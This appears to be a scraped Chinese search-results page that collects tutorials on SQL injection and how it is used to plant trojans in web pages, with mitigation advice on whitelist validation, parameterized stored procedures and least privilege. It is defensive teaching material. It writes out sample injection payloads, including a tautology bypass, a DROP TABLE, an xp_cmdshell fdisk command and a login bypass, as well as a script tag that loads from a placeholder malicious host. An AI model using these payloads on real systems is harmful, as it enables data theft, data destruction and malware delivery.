精华内容
下载资源
问答
  • 什么有这么多的网页上存在着木马去攻击普通用户?不可否认,相当一部分网页原本就是恶意的:网页的作者故意在上面放上木马,然后通过各种手段引诱用户去浏览。但是绝大多数被挂马的网页原本正常的网页,例如普通...
     
    

    申明。文章仅代表个人观点,与所在公司无任何联系。

    <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

     

    1.     概述

    网页挂马这个话题想来大家并不陌生。为什么有这么多的网页上存在着木马去攻击普通用户?不可否认,相当一部分网页原本就是恶意的:网页的作者故意在上面放上木马,然后通过各种手段引诱用户去浏览。但是绝大多数被挂马的网页原本是正常的网页,例如普通的教育网站,购物网站等等,只是网页被攻击者恶意修改后插入了木马代码。

    那么,攻击者是如何能够恶意修改一个正常网页的呢? 换句话说,一个网站是如何被“黑”的?一个最常见的攻击方法是SQL注入(SQL Injection)攻击。事实上,就在今年的五月份,爆发了一次大规模的网页攻击活动【1】。据估计,约有12万个网页被恶意修改插入木马代码,而攻击者采用的手段就是SQL注入攻击。

    那么,什么是SQL注入攻击?攻击者是如何利用SQL注入攻击篡改网页的?Web开发人员又应该如何防范SQL攻击?这就是我们这篇文章要阐述的问题。

    2.     SQL注入攻击

    我们从一个简单的例子【2】开始。下面这段代码用来构造SQL查询命令。

     

    var strUserAccount;

     

    strUserAccount = Request.form ("UserAccount");

     

    var sqlQueryString = "select * from Orders where UserAccount = '" +                                   strUserAccount + "'";

     

    //执行SQL Query …

     

    这段代码很简单:给出UserAccount,查询其对应的订单信息。

    例如,如果输入UserAccount值为100,那么构造的查询命令就是:

    SELECT * FROM Orders WHERE UserAccount = '100'

     

    从功能上说这段代码非常正确,完全没有任何问题。但是开发人员往往忽视安全方面的考虑:如果用户(攻击者)提供的输入数据是恶意的, 程序的表现行为是什么?

     

    ·         如果是一个不那么友好的攻击者,可能输入UserAccount值为100' or 1=1 --,构造的查询命令就是:

    SELECT * FROM Orders WHERE UserAccount = '100' or 1=1 --

     

    执行这个查询命令,就会返回所有用户的订单,导致商业机密信息的泄漏。

     

    ·         如果是一个非常不友好的攻击者,可能输入UserAccount值为100’; drop table orders --,构造的查询命令就是

    SELECT * FROM Orders WHERE UserAccount = '100'; drop table orders --

     

            ;”用来分割SQL语句。“--”表明当前行剩余的内容是注释。这段SQL语句的语法是完全正确的,那么一旦执行,就会先执行正常的查询工作,然后删除订单数据库。后果非常严重吧。但这还不是最糟糕的的情况。

     

    ·         如果是一个非常非常不友好的攻击者,可能输入UserAccount值为100’; exec xp_cmdshell(‘fdisk.exe’) --,构造的查询命令就是

    SELECT * * FROM Orders WHERE UserAccount = '100';

    exec xp_cmdshell(‘fdisk.exe’) --

     

    在权限允许的情况下,这段SQL语句的执行后果,就非常非常严重了。

     

    通过上面的这个例子可以看出,SQL注入攻击的定义是:

    ·         被攻击系统采用字符串接收用户输入,并构造相应的SQL语句来执行数据库操作。

    ·         开发人员没有对用户输入字符串的合法性做足够验证。

    ·         攻击者在该字符串中注入的恶意代码,在数据库系统(如SQL Server)上执行。

     

    3.     SQL注入攻击和网页挂马

    WEB应用需要后台数据库支持的时候,系统就存在着SQL注入攻击的风险。

     

    那么,攻击者到底是如何利用SQL注入攻击来达到网站挂马的目的?我们就拿开始提到的今年五月份的攻击举例:

    ·         攻击者通过自动扫描工具,发现存在SQL注入攻击安全漏洞的网站。

    ·         攻击者实施SQL注入攻击,将恶意的脚本代码插入到SQL数据库的相应数据中。插入的恶意脚本如:<script src=http://恶意网站/攻击.js>

    ·         恶意的脚本文件(js)试图利用一系列常用软件的安全漏洞,如微软IE的安全漏洞,Adobe Flash的安全漏洞,Real Player的安全漏洞,还有许多流行的国内软件的安全漏洞,如迅雷下载,暴风影音等等。

     

    这样,一个原本正常的网站就被挂上了恶意代码。当用户浏览该网站的时候,网页的动态构造中往往需要从后台SQL数据库取出相应数据并插入到构造的网页中。在这个过程中,恶意的脚本代码也作为数据的一部分被插入到网页中。

     

    如果普通用户的机器没有及时安装厂商提供的安全补丁,或者攻击者利用的安全漏洞是0-day安全漏洞,没有任何安全补丁的话,用户的机器就会被木马感染。

     

    4.     Web开发人员如何防范SQL注入攻击

     

    下面是开发过程中,防范SQL注入攻击的三个建议。

    ·         验证用户输入

    ·         使用Stored Procedures和相应的参数传递。

    ·         数据库访问帐号的最小化权限(Least-Privilege

     

    4.1验证用户输入

    既然SQL注入攻击的原理是通过在用户输入的字符串中插入恶意代码,那么验证来自用户的输入就是防范攻击的自然方案。不过,在设计验证代码时需要注意下面两点。

     

    4.1.1在服务器端验证输入,而不仅仅是在客户端验证。

     

    一个常见的设计误区是检验代码仅仅放在客户端上。Web开发中往往通过运作在客户网页的JavaScriptVBScript检查用户的输入值。如果校验错误的话就直接通知用户错误信息。客户端校验通过后才会向服务器端法出请求。

     

    在客户端进行校验并没有错。但是,如果由于客户端提供了校验,而在服务器一端设计中认为来自客户端的输入是都是经过(客户端)验证的,从而可以直接使用的话,就有问题了。

     

    这是因为,攻击者可以完全不需要客户端程序,而直接向服务器端发出数据提交请求。这种情况下,所有客户端的检查都可以被绕过。所以在服务器端的设计过程中,要总是假设来自用户的输入可以是恶意的,并提供相应的验证措施。

     

    4.1.2验证输入的原则是确认输入的值都是有效字符,而不是试图拒绝输入的值中的无效字符。

     

    初看起来,确认输入的值都是有效字符,和拒绝输入的值中的无效字符,这两个方案的是一回事。但是它们其实在实现上,以及对安全的影响上,有着很大的区别。

     

    下面来举个例子说明。假设需要验证来自用户的UserAccount值是否合法,这里我们可以有两个选择。

     

    选择一,确认UserAccount中的每个字符都是字母和数字。这种设计称为“whitelist”,也就是白名单设计。只有满足白名单条件的值才是合法的。我们可以采用正则表达式RegEx来验证。

     

    using System;

    using System.Text.RegularExpressions;

     

    //验证UserAccount是否合法

    public bool IsUserAccountValid(string strUserAccount)

    {

    // 验证是否字符仅仅是有大小写字母及数字构成

    // 字符长度在1-20

    if ( !Regex.IsMatch(userIDTxt.Text, @"^[a-zA-Z0-9]{1,40}$"))

    {

        return false;

    }else {

        return true;

    }

    }

     

    选择二,确认UserAccount中没有非法字符。这种设计称为“blacklist”,也就是黑名单设计。不在黑名单上的值都是合法的。

     

    黑名单设计的问题是:我们需要拒绝那些危险字符?例如,SQL语法中有下面这些字符需要特殊注意【3】:

    特殊字符

    SQL语句中的含义

    ;

    查询分隔符

    '

    数据分隔符.

    --

    注释分隔符.

    /* ... */

    注释分隔符.

    xp_

    指示扩展的stored procedures,例如 xp_cmdshell.

    是不是只要检查用户输入中没有这些特殊字符就可以了?很可惜,并不是这么简单。首先,系统设计和实现的不同往往会导致某一种危险的输入值在黑名单上被遗漏。而且,攻击者往往可以通过“改头换面”的办法来绕过黑名单。常见的手段是有采用另一种编码方式,如采用%0x来编码等等。

     

    所以在验证用户输入的开发过程中,强烈推荐采用白名单的设计方式来确认用户的输入是否是有效的。事实上,设计上采用白名单方式来验证用户的输入,不仅适用于防范SQL注入攻击,也是安全软件开发中用以防范其它攻击的有效手段。

    4.2使用Stored Procedures和相应的参数传递

     

    首先,并不是采用Stored Procedure和传递参数就能完全防止SQL注入攻击。例如,如果Stored Procedure设计成:

    CREATE PROCEDURE dbo.RunQuery

    @var ntext

    AS

            exec sp_executesql @var

    GO

     

    这个Stored Procedure在防范SQL注入攻击上完全没有任何作用。然而,合理的设计和使用Stored Procedure及参数类对阻止SQL注入攻击攻击是非常有效的。下面这段代码的功能同样是需要基于UserAccount来查询订单信息,但使用SqlParameterCollection来将UserAccount的值作为参数传递。

    using System.Data;

    using System.Data.SqlClient;

     

    public void QueryOrder(string strUserAccount)

    {

    … …

      SqlConnection connection = new SqlConnection(connectionString);

      DataSet userDataset = new DataSet();

      SqlDataAdapter myCommand = new SqlDataAdapter(

                 "QueryOrderStoredProcedure", connection);

      myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

     

      myCommand.SelectCommand.Parameters.Add("@UserAccount", SqlDbType.VarChar, 20);

      myCommand.SelectCommand.Parameters["@UserAccount"].Value = strUserAccount;

      myCommand.Fill(userDataset);

    … …

    }

     

    这里,UserAccount的值是作为字符串参数传递给对应的QueryOrderStoredProcedure,而不是简单的插入到构造的SQL查询语句中。参数在传递过程中会被检查类型和长度。如果检验失败的话,SqlParameter类会报告异常,从而有效的防范SQL注入攻击。

    4.3数据库访问帐号的最小化权限

     

    最小化权限的设计,同白名单一样,也是安全软件开发中的常用的设计原则。应用到SQL注入攻击环境下,意味着:应用程序用来访问数据库的帐号,所拥有的权限应该最小化。

     

    需要强调的一点是,SQL注入攻击的根源在于Web开发中的不正确的代码。最小化权限的设计并不能替代修复代码本身错误的工作。它只是作为深层防御(Defense In Depth)中的缓解手段,其目的是为了尽可能降低SQL注入攻击的危害性。

     

    例如,如果是通过Windows authentication机制来连接并访问数据库的话,用来访问数据库的Windows的帐号的权限就应该受到限制。一个非管理员权限的帐号,就可以阻止执行Fdisk类似级别的操作。在【4】给出了一个在Microsoft Windows 2003服务器,ASP.NET应用,后台SQLServer情况下,如何最小化ASP.NET应用 运行的Network Service帐号的权限的例子。有兴趣的读者可以参考【4】获取更详细的信息。

     

    5.     总结

    SQL注入攻击是最为常见的网站攻击的手段之一。开发人员在Web应用的设计和实现过程中需要意识到SQL注入攻击的危险,并在代码中采用相应的防范措施。

     

    6.     参考文献

    【1】      Mass SQL Injection Attack Targets Chinese Web Siteshttp://news.yahoo.com/s/pcworld/20080519/tc_pcworld/146048;_ylt=AoZS0SbSq3tH.Cl1uEHJPMeDzdAF

    【2】      Writing Secure and Hack Resistant Code Part 2research.microsoft.com/collaboration/university/europe/events/dotnetcc/version4/Slides/leblanc2.pptMicrosoft

    【3】      SQL Injection, http://msdn.microsoft.com/en-us/library/ms161953.aspx, Microsoft

    【4】      How To: Protect From SQL Injection in ASP.NET, http://msdn.microsoft.com/en-us/library/ms998271.aspx#paght000002_step2, Microsoft

    展开全文
  • 什么是SQL注入?...广泛性:任何一个基于SQL语言的数据库都可能被攻击,很多开发人员在编写Web应用程序时未对输入参数、Web表单、cookie等接受到的值进行规范性验证和检测,通常会出现SQL注入漏洞 隐蔽性:SQL

    什么是SQL注入?

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    SQL注入的特点:

    1. 广泛性:任何一个基于SQL语言的数据库都可能被攻击,很多开发人员在编写Web应用程序时未对输入参数、Web表单、cookie等接受到的值进行规范性验证和检测,通常会出现SQL注入漏洞
    2. 隐蔽性:SQL注入语句一般都嵌入在普通的HTTP请求中,很难与正常语句区分开,所以当前防火墙都无法识别予以警告,而且SQL注入变种极多,攻击者可以调整攻击的参数,所以使用传统的方法防御SQL注入效果非常不理想。
    3. 危害大:攻击者通过SQL注入获取服务器的库名、表名、字段名,从而获取到整个服务器中的数据,对网站用户的数据安全有极大的威胁。攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。
    4. 操作方便:互联网上有很多SQL注入工具,简单易学,攻击过程简单,不需要专业知识也能自如运用。

    SQL注入原理:

    SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起。用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任何命令了。

    SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记"一"来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。

    预防措施:

    • 严格限定参数类型,明确参数检验的边界,必须再服务端执行数据验证
    • 采用参数化查询的方法(推荐)
    • 内置过滤系统(本质是黑名单,很常见但是不推荐)
    • 数据库加固
    展开全文
  • SQL注入攻击是Web开发中最常见的一种安全问题,恶意攻击者可以利用它获取数据库中的敏感信息、篡改数据,甚至可以获得系统的控制权限。产生SQL注入漏洞的原因也很简单:开发者没有对用户提交的内容进行审核,导致...

    不少优秀的产品经理都会写一些简单的SQL语句进行数据查询的操作,但是会写SQL语句不代表能写好SQL语句。SQL语句写得不好,就会引发SQL注入攻击。SQL注入攻击是Web开发中最常见的一种安全问题,恶意攻击者可以利用它获取数据库中的敏感信息、篡改数据,甚至可以获得系统的控制权限。产生SQL注入漏洞的原因也很简单:开发者没有对用户提交的内容进行审核,导致恶意 SQL 语句被执行。

    65f4eb7a7a9d908b6b12a8cd2c306bbb.gif

    我们来看一个简单的例子。假设有一个登录系统,用户在登录时提交了用户名和密码,如果通过用户名和密码能从后台数据库中找到某个用户,就算登录成功。根据这个例子可以写出这样的伪代码:

    4814a990bf7e6ab926761c8a12832603.png

    可以看出,这个SQL语句会将查询语句和用户提交的数据拼接起来。如果提交的用户名是guoguo,密码是passwd123,这个SQL语句就是:

    7650179639112d00a1f586f6ed0fff42.png

    这里就有点蹊跷了。我们先看前面那个SQL语句:账号和密码两个条件必须匹配上,才会返回用户guoguo的信息,否则查询不到任何结果。再来看第二个SQL语句。要知道,“--”在SQL语句中是注释符号,它后面的语句都将被视为无效,那么这个SQL真正有效的部分是:

    SELECT * FROM user_table WHERE username='guoguo'

    它的含义是“找出用户名是guoguo的用户”。这样黑客完全不需要知道密码,就能拿到guoguo的用户信息,继而登录账户。这也是互联网发展早期大家口口相传的“万能密码”。

    dc6dc80b3f86ab556934331ee493ff1f.png

    这种通过在提交的数据里加入SQL代码巧妙地改变后台SQL执行逻辑的攻击方式,就是SQL注入攻击。如何防范SQL注入攻击呢?其实也很简单,在这个例子中,我们将用户输入的用户名和密码进行校验,只允许字母和数字出现,那么“guoguo'--”中的“'--”会被视为非法输入而拒绝执行SQL,这个攻击就起不到任何作用了。

    当然,只允许使用字母和数字这个规则过于粗暴,会误伤一些真正有效的输入。我们在实践中使用的是更复杂、也更精细的过滤规则。只需要记住一个原则:永远不要相信外界输入的数据,对任何外界输入的数据都要做合法性的校验。

    展开全文
  • SQL注入是一种将SQL代码添加到输入参数中传递到SQL服务器解析并执行的一种攻击方法总结:其实就是输入的参数没有进行过滤,直接参加sql语句的运算,达到不可预想的结果。SQL注入是怎么产生的?1.web开发人员无法保证...

    如何理解SQL注入?
    SQL注入是一种将SQL代码添加到输入参数中
    传递到SQL服务器解析并执行的一种攻击方法
    总结:其实就是输入的参数没有进行过滤,直接参加sql语句的运算,
    达到不可预想的结果。
    SQL注入是怎么产生的?
    1.web开发人员无法保证所有的输入都已经过滤
    2.攻击者利用发送给SQL服务器的输入数据构造可执行的代码
    3.数据库未做相应的安全配置

    转载于:https://www.cnblogs.com/Worssmagee1002/p/7404558.html

    展开全文
  • SQL注入攻击原因及预防

    千次阅读 多人点赞 2020-07-13 21:23:57
    SQL注入到底是什么 SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全...
  • webSQL注入了解

    2018-02-11 15:49:29
    SQL注入攻击是输入参数未经过滤,直接拼接到SQL语句中,解析执行,达到预想之外的一种行为。 2、SQL注入是怎么产生的 (1)web开发人员无法保证所有的输入都已经过滤 (2)攻击者利用发送给SQL服务器的输入数据...
  • 一、SQL注入攻击介绍 1.SQL注入攻击简介 SQL注入就是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数攻击者可控的,并且参数带入数据库中查询,攻击者可以通过构造不同的SQL语句来实现对...
  • 【sql注入】SQL注入攻击(攻击与防范) 本文转自:i春秋社区 ...SQL注入是从正常的WWW端口访问,而且...SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的
  • SQL注入攻击与防御

    2013-10-04 16:08:40
    本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。  什么是SQL注入?理解它是什么以及它的基本原理  查找、确认和自动发现SQL注入  查找代码...
  • Web安全之SQL注入

    2021-01-21 14:35:02
    Web应用程序的开发人员对用户所输入的数据不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取数据库的信息以及提权,此时称发生了SQL注入攻击。 二、举个简单的例子 Web页面的...
  • 对抗SQL注入攻击

    2009-09-05 17:09:00
    那么,除了在Web开发的时候注意以外,有什么有效的工具可以对抗SQL注入攻击?2008年6月,微软和惠普的安全部门合作发布了三个工具,分别:微软SQL注入攻击源码扫描器:Microsoft Source Code Analyzer for SQL ...
  • 在进行java web 测试的时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,随便不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还是还是值得...
  • 什么是sql注入(Sql injection)?Sql注入是一种将sql代码添加到输入参数中,传递到Sql服务器解析并执行的一种攻击手法2. 怎么产生的?Web开发人员无法保证所有的输入都已经过滤攻击者利用发送给Sql服务器的输入数据...
  • web安全之SQL注入

    2018-07-09 08:03:27
    如何进行SQL注入攻击? 如何预防SQL注入? 一、如何理解SQL注入? SQL注入一种将SQL代码添加到输入参数中 传递到SQL服务器解析并执行的一种攻击手法 二、SQL注入怎么产生的? WEB开发人员无法保证...
  • SQL注入攻击指的用户或者黑客通过构建特殊的输入作为参数传入我们的Web应用程序端,而这些输入大都SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因程序员没有细致地过滤用户输入的...
  • MySQL的SQL注入攻击(SEC-W05-003.1) 注入从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,可能 B/S模式应用开发的发展,使用这种模式编写应用程序的 ,即SQL注入。
  • 防范SQL注入攻击

    2009-08-17 11:58:00
    【原文地址】Tip/Trick: Guard Against SQL Injection Attacks【原文发表日期】 Saturday, September 30, 2006 9:11 AM SQL注入攻击是非常令人讨厌的安全漏洞,是所有的web开发人员,不管是什么平台,技术,还是数据...
  • SQL 注入攻击指的用户或者黑客通过构建特殊的输入作为参数传入我们的 Web 应用程序端,而这些输入大都 SQL 语法里的一些组合,通过执行 SQL 语句进而执行攻击者所要的操作,其主要原因程序员没有细致地过滤...
  • MySQL的SQL注入攻击(SEC-W05-003.1) 注入从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,可能 B/S模式应用开发的发展
  • sql注入】浅谈JSP安全开发SQL注入 本文转自:i春秋社区 前言不管什么语言编写WEB...目录第一节注入攻击原理及防御 1.1、什么是SQL注入 1.2、SQL注入演练 1.3、如何防御SQL注入正文第一节注入攻击原理及防...
  • SQL注入基础SQL注入介绍Web请求响应过程:什么是SQL注入?就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对...
  • SQL注入基础SQL注入介绍Web请求响应过程:什么是SQL注入?就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对...
  • 【原文地址】Tip/Trick: ...SQL注入攻击是非常令人讨厌的安全漏洞,是所有的web开发人员,不管是什么平台,技术,还是数据层,需要确信他们理解和防止的东西。不幸的是,开发人员往往不集中花点时间在这上面,以至他...
  • 本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。  什么是SQL注入?理解它是什么以及它的基本原理  查找、确认和自动发现SQL注入  查找代码...

空空如也

空空如也

1 2 3 4 5 ... 10
收藏数 189
精华内容 75
关键字:

web开发sql注入攻击是什么